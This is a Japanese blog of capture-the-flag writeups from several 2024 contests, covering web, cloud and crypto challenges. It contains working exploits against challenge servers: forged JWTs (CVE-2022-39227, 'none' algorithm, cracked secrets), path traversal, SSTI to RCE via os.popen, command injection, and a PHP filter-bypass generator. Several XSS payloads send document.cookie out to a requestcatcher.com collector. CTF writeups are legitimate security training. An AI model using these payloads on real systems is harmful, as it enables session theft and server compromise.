$ python3 CVE-2022-39227/cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg' -i "role=administrator"

...


auth={"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

ということで、すごい形だけど

GET /api/v1/flag HTTP/1.1
Host: 83.136.250.103:31411
Authorization: {"  eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAzMDMxMTAsImlhdCI6MTcxMDI5OTUxMCwianRpIjoiaEdHOXY5djFRZFBoYWoybTZBOThVQSIsIm5iZiI6MTcxMDI5OTUxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"BtEXY3gsVkcHMBBuNjgbGwrrFL1oS6Xhl4b4NTYpUcPFqYT5tB66TiSAqqHwFsA0o4kJb6-pFzd4ItX0nw8lJr0ZKvQRbaVC1gztWDMrNcYI5jebX2ddeTExTGIX1YrwBOCzGTxvP1DhZLqsrg3-tDIKlMUx_vaqxpztxGTKA5yDeiEkNH4NNHOTHLggAHM-8dHVvwORePPbXywTrzDlDWXHow-wzZoEv_Pvi3Z5esdRY5Xc6IWiUUYNFKN--C1Dtcx9a3TSmA4o57qYc3rB03xTqyuTN-WWknSgXfLYDlr37YtVwNFNYdR1swmp_Vdc_EFogwl7x1QVQmnqJFp-bg"}

これでフラグ獲得。

[Web] SerialFlow 解けなかった

https://github.com/hackthebox/cyber-apocalypse-2024
ここに公式解説あります。

[Web] Perceptron 解いてない

[Web] Apexsurvive 解いてない

vikeCTF 2024 Writeup

https://ctftime.org/event/2263

[Cloud] Silly Software

We're Silly Software, and we like bringing the Fun back into devops! We've decided that we're going to start distributing our software as Docker images, because that seems like the most fun! I hope nothing goes wrong :)
私たちはSilly Softwareで、Devopsに楽しさを取り戻すのが好きです!Dockerイメージとしてソフトウェアを配布することに決めました!何事もなければいいのですが :)

docker run public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latestというのが与えられる。
diveで中身を見てみよう。
dive public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
見ると、最後に/app/.npmrvというファイルが消されている。
調べてみると、npmで利用する際にprivateパッケージを読み込むための認証情報が入っているファイルらしい。
いかにも怪しい。

docker save public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest > dumped.tarでレイヤー毎のファイルを取り出してきて、
/app/.npmrcを作成しているレイヤー ID:4e6ad6b88e64db86f38a2a95d51808b4347147cd59cdfba1abc1d6c7707fbed1のフォルダのlayer.tarを解凍すると該当ファイルが見つかる。

//npm.fury.io/vikectf2024/:_authToken=■■■■■■■■■■■■■■■■■■■■

いいですね。package.jsonがあるので中身を見てみるとthe-flagというパッケージを読み込んでいた。

"devDependencies": {
    "the-flag": "^1.0.1"
}

npm ciをして読み込み、node_modules/the-flag/index.jsを見るとフラグが書いてあった。

[Cloud] My Buddy Erik 解けなかった

My buddy Erik wants to play Minecraft so I set up a server for us to play on. I've commited my configuration to GitHub because it's so convenient! Can you make sure that everything is secure?
友達のErikがMinecraftで遊びたいって言うから、サーバーを立ち上げたんだ。とても便利なので、GitHubに設定をコミットしました!すべてが安全であることを確認できますか?
https://github.com/VikeSec/vikeCTF-2024-minecraft-server

深堀する前に終わってしまった。

https://ctf.krauq.com/vikectf-2024#my-buddy-erik-35-solves
了解。

[Web] Jarls Weakened Trust

Jarl's been bragging about becoming an admin on the new axe sharing network. Can you?
ジャールが新しい斧共有ネットワークの管理者になることを自慢している。できるのか?

ソースコード無し。色々試す。

AUTHORIZATION=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDQ0Nzk3fQ.46cPstBtoSkDhc7nFZG_UqZVqBjUhbWZ4qjjjXZpfas
-> {"userId": "18jcb4m7uiz","admin": false,"iat": 1710044797}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmaWZwMW5iZjZkbSIsImFkbWluIjpmYWxzZSwiaWF0IjoxNzEwMDU2NjM4fQ.f-2ZIpnWAqPbirAs7OaPOjBJUx19eFtzjis2I88SHTI
-> {"userId": "fifp1nbf6dm","admin": false,"iat": 1710056638}

userIdは同じ入力でも変化するのでランダムっぽい。タイトルからjwtにまつわる問題であることは分かるが…
guessy...
色々試すと、none攻撃で成功。

import jwt
payload = {"userId": "18jcb4m7uiz","admin": True,"iat": 1710066638}
res = jwt.encode(payload, '', algorithm='none')
print(res)

のような感じにして、以下のように送るとフラグ獲得。

GET / HTTP/1.1
Host: 35.94.129.106:3004
Cookie: AUTHORIZATION=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiIxOGpjYjRtN3VpeiIsImFkbWluIjp0cnVlLCJpYXQiOjE3MTAwNjY2Mzh9.

[Web] Ponies

OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!

The flag is arriving shotly...と出てくるサイトが与えられ、
ちょっと待っていると大量のキャラとコメントが出る激重サイト。
Burpのログを漁ると数千件ログが残っているが、しれっとフラグが含まれている。
GET /gag.jsdocument.getElementById("flag").innerHTML = "vikeCTF{■■■■■■■■■■}";のようにフラグが書いてある。

[Web] vikeMERCH

Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.

go言語で書かれたソースコードが与えられる。
フラグからさかのぼって見てみよう。

e.POST("/admin", func(c *gin.Context) {
    username := c.PostForm("username")
    password := c.PostForm("password")
    var user User
    err := db.Get(&user, "SELECT * FROM user WHERE username = ?", username)
    if err != nil {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    if subtle.ConstantTimeCompare([]byte(password), []byte(user.Password)) == 0 {
        c.HTML(http.StatusUnauthorized, "admin.html", "Username or password is incorrect")
        return
    }
    c.Writer.Header().Add("Set-Cookie", "FLAG="+flag)
    c.Writer.Header().Add("Content-Type", "text/plain")
    c.Writer.WriteString(flag)
})

誰でもいいのでuserの認証が通ればフラグがもらえる。
DB操作を見るとadminユーザーしか用意されていない。

CREATE TABLE user (
    username TEXT,
    password TEXT
);

INSERT INTO user (username, password) VALUES (
    'admin',
    '$(xxd -l 32 -c 32 -p /dev/random)'
);

とりあえずDB上の情報を抜いてくる必要がありそう。
SQL Injectionを探すがない。だが、以下にPath Traversal出来そうな雰囲気の部分がある。

e.GET("/assets", func(c *gin.Context) {
    id := c.Query("id")
    path := filepath.Join("assets", filepath.Clean(id))
    c.File(path)
})

パッと見対策されていそうだが検索すると、以下のようにfilepath.Claenはサニタイザーとして使うことはできないとのこと。
https://github.com/golang/go/issues/34938

ということで、以下のように試すとうまくいく

GET /assets?id=../db.sqlite3 HTTP/1.1
Host: localhost:4444

ok. これでDBの中身が抜けてadminのパスワードが見れるようになるので、フラグ獲得までできる。
以下でフラグ獲得。

POST /admin HTTP/1.1
Host: 35.94.129.106:3001
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d

[Web] movieDB 解けなかった

Ahoy, ye brave movie seekers! Welcome to MovieDB, where the flicks flow like mead and the security... well, let's just say it's a bit like an unlocked treasure chest in a Viking village. But fret not! With a sprinkle of humor and a dash of caution, we'll navigate these cinematic seas together, laughing in the face of cyber shenanigans. So grab your popcorn and let's pillage... I mean, peruse through our database of movie marvels!
勇敢なる映画ファンの諸君!MovieDBへようこそ!ここでは、ミードのように映画が流れ、セキュリティは......まあ、バイキングの村の鍵のかかっていない宝箱のようなものだと言っておこう。だが心配はいらない!ユーモアを振りまきながら、そして用心深く、私たちは一緒にこの映画の海を航海し、サイバーの悪ふざけを笑い飛ばそう。さあ、ポップコーンを持って略奪に出発だ...。つまり、映画の驚異のデータベースを熟読しよう!

映画の検索ができるサイトが与えられる。
ソースコード無し、色々試すが何も起きない。
/robots.txtをみると/static/flag.txtとあったが、アクセスするとnoと帰ってくる。うーん。

Pearl CTF (2024) Writeup

https://ctftime.org/event/2231

[Web] learn HTTP シリーズ

[Web] learn HTTP

I made a simple web application to teach you guys how HTTP responses work, I hope you enjoy :)

HTTP%2F1.1%20200%20OK%0D%0A%0D%0AhelloのようなHTTPレスポンスの生データをadminに見せるページ。
GET /flagの内容を持ってくることが出来ればフラグ獲得だが、admin向けに作成されているtokenでは表示ができない。
しかし、まずはtokenが取得できるか試してみる。
任意のHTTPレスポンスが書けるのでXSS発動させられる。

HTTP/1.1 200 OK
Content-Length: 109

<script>navigator.sendBeacon('https://dfjsaiej4jk3jefsksda.requestcatcher.com/test',document.cookie)</script>

こういう感じのものをURL Encode(CyberChefだとEncode all special charsにチェックが必要)して送るとrequestcatcherにcookieが送られてくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTQyMzMzfQ.g78zszIQhgMCHDxO4hYS3I9eCoFWa2UH3zDPCM5RAwY

adminの持つ、トークンが得られた。 このトークンが持つpayloadは{"id": 1,"iat": 1709942333}だが、id=2のトークンでないとフラグを取得することができない。 secretが無いとダメかーと思っていたが、easyタグが付いていたのでシンプルにシークレットの総当たりを試すと成功した。

$ john jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
banana           (?)     
1g 0:00:00:00 DONE 2/3 (2024-03-09 09:10) 7.692g/s 252061p/s 252061c/s 252061C/s 123456..skyline!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

bananaだったらしい。{"id": 2,"iat": 1709942333}にして作り直して、以下のように送るとフラグ獲得。

GET /flag HTTP/2
Host: learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTQyMzMzfQ.NUcKNox2LvUoSLgh3hT_3cXKAbIEq_8JTtp1Tgu086I

[Web] learn HTTP better

I learn from mistakes, I think this change will solve my issue.

前問と大きな違いはCSPがかかっていること。 Content-Security-Policy: default-src 'self' これも任意のレスポンスが作れるので、scriptも任意のものが作れる。

HTTP/1.1 200 OK
Content-Length: 8

alert(1)

となるようなhttps://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29を用意して、

HTTP/1.1 200 OK
Content-Length: 148

<script src="https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%208%0D%0A%0D%0Aalert%281%29"></script>

という感じで使って、https://v1-learn-http.ctf.pearlctf.in/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20148%0D%0A%0D%0A%3Cscript%20src%3D%22https%3A%2F%2Fv1%2Dlearn%2Dhttp%2Ectf%2Epearlctf%2Ein%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%25208%250D%250A%250D%250Aalert%25281%2529%22%3E%3C%2Fscript%3Eを踏めばalertが飛ぶ。

HTTP/1.1 200 OK
Content-Length: 91

window.location = 'http://dfjsaiej4jk3jefsksda.requestcatcher.com/test?' + document.cookie;

HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2092%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3Bとなって、

HTTP/1.1 200 OK
Content-Length: 248

<script src="http://localhost:5001/resp?body=HTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%2091%0D%0A%0D%0Awindow%2Elocation%20%3D%20%27http%3A%2F%2Fdfjsaiej4jk3jefsksda%2Erequestcatcher%2Ecom%2Ftest%3F%27%20%2B%20document%2Ecookie%3B"></script>

のような感じでHTTP%2F1%2E1%20200%20OK%0D%0AContent%2DLength%3A%20248%0D%0A%0D%0A%3Cscript%20src%3D%22http%3A%2F%2Flocalhost%3A5001%2Fresp%3Fbody%3DHTTP%252F1%252E1%2520200%2520OK%250D%250AContent%252DLength%253A%252091%250D%250A%250D%250Awindow%252Elocation%2520%253D%2520%2527http%253A%252F%252Fdfjsaiej4jk3jefsksda%252Erequestcatcher%252Ecom%252Ftest%253F%2527%2520%252B%2520document%252Ecookie%253B%22%3E%3C%2Fscript%3Eを用意して踏ませるとcookieが降ってくる。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzA5OTk1NjQ2fQ._h7goe3Ds2ZeV6XMCbEImWf5MbRlvr4mrftB63Yk5co

であり、john the ripperを使ってパスワードクラックを同様に試すとpasswordと分かる。 同様にid=2にして作り直して以下のように送るとフラグが得られる。

GET /flag HTTP/2
Host: v1-learn-http.ctf.pearlctf.in
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNzA5OTk1NjQ2fQ.nsZklhoerc296tBSWvwiGZ3nLCxEWIETH47jg0qc1ps

[Web] learn HTTP (final) 解いてない

This time I have removed all loopholes. I can finally rest now, can't I?

[Web] I am a web-noob

Maybe noobs create the most secure web applications. Or maybe not.

ユーザー名を入力するサイトが与えられる。
色々試すとSSTIが刺さるっぽいが、入力がサニタイズされているっぽい感じに出てくる。
{% print "test" %}は使えたので、ninja2が使える。
使える文字を見て色々やると以下でRCE達成。

{% print lipsum|attr(request.args.a)|attr(request.args.b)(request.args.c)|attr(request.args.d)(request.args.e)|attr(request.args.f)() %}

をuserとして入力してGETのクエリストリングに&a=__globals__&b=__getitem__&c=os&d=popen&e=id&f=readでidコマンドが動く。
これで色々探索すると、flag.txtがあるので、${IFS}をスペースの代わりにして
&a=__globals__&b=__getitem__&c=os&d=popen&e=cat${IFS}flag.txt&f=readでフラグ獲得。

[Web] rabbithole

Welcome to the journey! Here's your reward.

ソースコード無し。You're on your own:)と言われる。
妙なCookieが渡されるが特に何もできないので/robots.txtを見るとDisallow: /w0rk_h4rdとある。
/w0rk_h4rdに行くとYou sure are hardworking, but are you privileged enough? Here is what you want: s3cr3t1v3_m3th0d
がちゃがちゃやるとGET /hardworking

HTTP/2 405 Method Not Allowed
Allow: S3CR3T1V3_M3TH0D, OPTIONS

と帰ってくるので、S3CR3T1V3_M3TH0D /hardworkingとするとYou're not privileged enough ;)と帰ってくるので、
最後にcookieのuserIDをadminにするとフラグがもらえる。
最終的に以下のリクエストでフラグがもらえる。

S3CR3T1V3_M3TH0D /hardworking HTTP/2
Host: rabbithole.ctf.pearlctf.in
Cookie: userID=admin

うーん、rabbithole。

[Web] steps to success 解けなかった

A journey only brave can travel.

wasmがバックエンドで使われている問題。

[Web] Uploader 解いてない

Yet another PHP-based uploader, and it's secure ^_^

ファイルアップロードできるPHPの問題。

Shakti CTF (2024) Writeup

https://ctftime.org/event/2268

[Web] Delicious

How delicious!

ソースコード無し。 開くと「Delicious isn't it?」という文字とともにCookieの画像が表示される。
レスポンスを見るとSet-Cookieが付いている。

Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/

URL Decodeして、From Base64すると{"admin":0}と出てくる。
https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE

admin=1の状態にして使ってみよう。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。

GET / HTTP/2
Host: ch23900160354.ch.eng.run
Cookie: cookie=eyJhZG1pbiI6MX0%3D

[Web] Find the flag

Flag is in flag.txt

以下のようにコマンドインジェクションできるポイントがある。

@app.get('/')
def index():
    test = request.args.get('test', None)
    if test is None:
        return render_template('index.html')

    command = f"find {test}"

    try:
        output = os.popen(command).read()

;でコマンドを区切ってコマンドインジェクションしてみる。

/?test=a;idとするとuid=0(root) gid=0(root) groups=0(root)と出てくる。idコマンドが動作している。
/?test=a;idとするとflag.txtの存在が分かる。
/?test=a;cat%20flag.txtでフラグ獲得。

[Web] Ultimate Spiderman Fan

Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?

お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
ソースコード無しの状態なのでリクエストの流れを見てみる。

  1. POST /buyproduct_id=1を送ると、対応するshopping_tokenというcookieがもらえる
  2. 手順1のcookieとともにGET /checkoutすると購入が確定する

買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。

  1. POST /buy
POST /buy HTTP/2
Host: ch11900160369.ch.eng.run
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

product_id=4

これでcookieがもらえるので、以下のように使う。

  1. GET /checkout
GET /checkout HTTP/2
Host: ch11900160369.ch.eng.run
Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E

これでフラグゲット。

[Web] Filters

No bypass! Flag is in flag.txt

phpでできたサイトが与えられる。

<?php
highlight_file(__FILE__);
$command = $_GET['command'] ?? '';

if($command === '') {
    die("Please provide a command\n");
}

function filter($command) {
    if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) {
        return false;
    }
    return true;
}

if(filter($command)) {
    eval($command);
    echo "Command executed";
} else {
    echo "Restricted characters have been used";
}
echo "\n";
?>

XORテクが使えそう。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。

# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md

#string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB")
string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE")
obfuscated_code = ""
charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM"

for code in string_code:
    obfuscated = ""
    set_a = ""
    set_b = ""
    for i in code:
        ok = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    set_a += j
                    set_b += k
                    ok = True
                    break
            if ok:
                break
    obfuscated_code += f'("{set_a}"^"{set_b}")'
print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)

直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))で最終的にフラグが得られたはず。

[Web] Notes V1 解けなかった

Is there more to the Simple Notes app than meets the eye?
Note: Use Pow script
https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c

reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
Insecure YAML Deselializationがある。
何らかのsmugglingだろうが…

以下だったらしい。脆弱性確認してなかった。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376

osu!gaming CTF 2024 writeup

web/mikufanpage

初音ミクのファンページが与えられる。
flagは/app/img/flag.txtにある。
以下のようにLFIができそうな部分があるので、ここを悪用する。

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

/image?path=miku1.jpgのように使われる。
何とかflag.txtにしたいが、.でsplitされてpngかjpgと比較されている。
しかし、splitしてindexが1のもので比較をすると、複数.がある場合に対応できない。
よって、.でsplitしてindexが1を取り出しても検証は通るが、最終的にflag.txtになる入力を与えれば良く、/image?path=.png./../flag.txtでフラグが得られる。
.png./../flag.txt.png.部分がフォルダ名として扱われ、../でそれを打ち消しているのでflag.txtとして解釈される。

web/when-you-dont-see-it

welcome to web! there's a flag somewhere on my osu! profile...
https://osu.ppy.sh/users/11118671

題材のosu!のプラットフォームのURLが与えられる。
ソースコードを巡回するとdata-initial-dataに生データみたいなものが含まれていて以下のような記載を見つけた。

"raw": "nothing to see here \ud83d\udc40\ud83d\udc40 [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64]"

base64デコードするとフラグ。

web/profile-page

自分のプロフィールページを作れるサイトが与えられる。
Admin Botも与えられているのでXSSから考える。
入力値をサニタイズしているのが以下の部分で、DOMPurifyでサニタイズ後に変換されている。

const renderBio = (data) => {
    const html = renderBBCode(data);
    const sanitized = purify.sanitize(html);
    // do this after sanitization because otherwise iframe will be removed
    return sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
};

DOMPurify後は触るなと古事記にも書いてあるので、このあたりを深堀するとXSS発動させることができる。
iframeのonloadを追加することでXSSする。

[youtube]" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="[/youtube]

これを埋め込むと[youtube]のiframe変換によって以下のようになる。

<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="" frameborder="0" allowfullscreen></iframe>

これでXSS発動させ、フラグが得られる。
更新リクエストが独特なので一応更新用リクエストを以下に載せておく。

POST /api/update HTTP/1.1
Host: profile-page.web.osugaming.lol
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Cookie: csrf=1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b; connect.sid=s%3A1p3YSt-0ZItsTe-34bLRzqmoiBph99WF.UgL18oVmW2X83tufi0Ao1bXVnoPHbfOaYyEQ6W6349I
csrf: 1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b
Connection: close

bio=%5byoutube%5d%22%20onload%3d%22fetch(%60https%3a%2f%2f[yours].requestcatcher.com%2fget%3f%24%7bdocument.cookie%7d%60)%22%20dummy%3d%22%5b%2fyoutube%5d

web/stream-vs

how good are you at streaming? i made a site to find out! you can even play with friends, and challenge the goat himself

ソースコード無し。
対戦モードがあり、cookieziと対戦できるが3セットゲームをすると以下のようにぼろ負けする。

Game ID: qlbc3
  admin
  cookiezi
Song #1 / 3: xi remixed by cosMo@bousouP - FREEDOM DiVE [METAL DIMENSIONS] (211.11 BPM)
  cookiezi - 211.11 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #2 / 3: ke-ji. feat Nanahira - Ange du Blanc Pur (182 BPM)
  cookiezi - 182.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #3 / 3: xi - Blue Zenith (200 BPM)
  cookiezi - 200.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Better luck next time!

これで勝てばフラグがもらえそう。
websocketで実装されていて、曲が終わると何かのデータをサーバ側に送っている。
stream-vs.jsにメインロジックが実装されているので眺めると、スコアリングの方法がコメントアウトで載っていた。

// scoring algorithm
// first judge by whoever has round(bpm) closest to target bpm, if there is a tie, judge by lower UR
/*
session.results[session.round] = session.results[session.round].sort((a, b) => {
    const bpmDeltaA = Math.abs(Math.round(a.bpm) - session.songs[session.round].bpm);
    const bpmDeltaB = Math.abs(Math.round(b.bpm) - session.songs[session.round].bpm);
    if (bpmDeltaA !== bpmDeltaB) return bpmDeltaA - bpmDeltaB;
    return a.ur - b.ur
});
*/

まずはBPMの近さを見ているようだ。
だが、これは上記の結果を見ると、cookieziは完全にBPMは合わせてくるので、こちらも少なくともBPMを完全に合わせる必要がある。
websocketで結果を送るときは

{"type":"results","data":{"clicks":[],"start":1709344913209,"end":1709344922274}}

こんな感じで送っていて良い感じにフルコンボを出してやればよさそう。
その辺りの計算アルゴリズムもstream-vs.jsに書いてある。

// algorithm from https://ckrisirkc.github.io/osuStreamSpeed.js/newmain.js
const calculate = (start, end, clicks) => {
    const clickArr = [...clicks];
    const bpm = Math.round(((clickArr.length / (end - start) * 60000)/4) * 100) / 100;
    const deltas = [];
    for (let i = 0; i < clickArr.length - 1; i++) {
        deltas.push(clickArr[i + 1] - clickArr[i]);
    }
    const deltaAvg = deltas.reduce((a, b) => a + b, 0) / deltas.length;
    const variance = deltas.map(v => (v - deltaAvg) * (v - deltaAvg)).reduce((a, b) => a + b, 0);
    const stdev = Math.sqrt(variance / deltas.length);

    return { bpm: bpm || 0, ur: stdev * 10 || 0};
};

これを元に自動化スクリプトを人間っぽい感じに作って動かすとフラグがもらえる。
たまに失敗するけど根気よく回す。

from websocket import create_connection
import json
from decimal import *
import time
ws = create_connection("wss://stream-vs.web.osugaming.lol/")

def send_and_recv(payload):
    ws.send(json.dumps(payload))
    return json.loads(ws.recv())    

send_and_recv({"type":"login","data":"evilman"})
send_and_recv({"type":"challenge"})
songs = send_and_recv({"type":"start"})['data']['songs']
for song in songs:
    start = int(time.time())
    end = start + song['duration'] * 1000
    interval = 60000 / song['bpm'] / 4
    clicks = [start]
    while clicks[-1] + interval <= end:
        clicks.append(clicks[-1] + interval)

    p = {"type":"results","data":{"clicks":clicks,"start":start, "end":end}}
    #print(p)
    send_and_recv(p) # results
    print(ws.recv()) # game or message

    time.sleep(song['duration'])

防衛省サイバーコンテスト 2024 Writeup

2連覇! 前回の解説

[Crypto] Information of Certificate

Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。

crtファイルが与えられるので設問に答える問題。
crtファイルはWindowsで開けるので開いて、
詳細→発行者からCNに書かれているものを答える。

[Crypto] Missing IV

NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。
暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。

ivが無くても鍵があれば最初のブロック以外は復元可能なので復元する。

encrypted = [
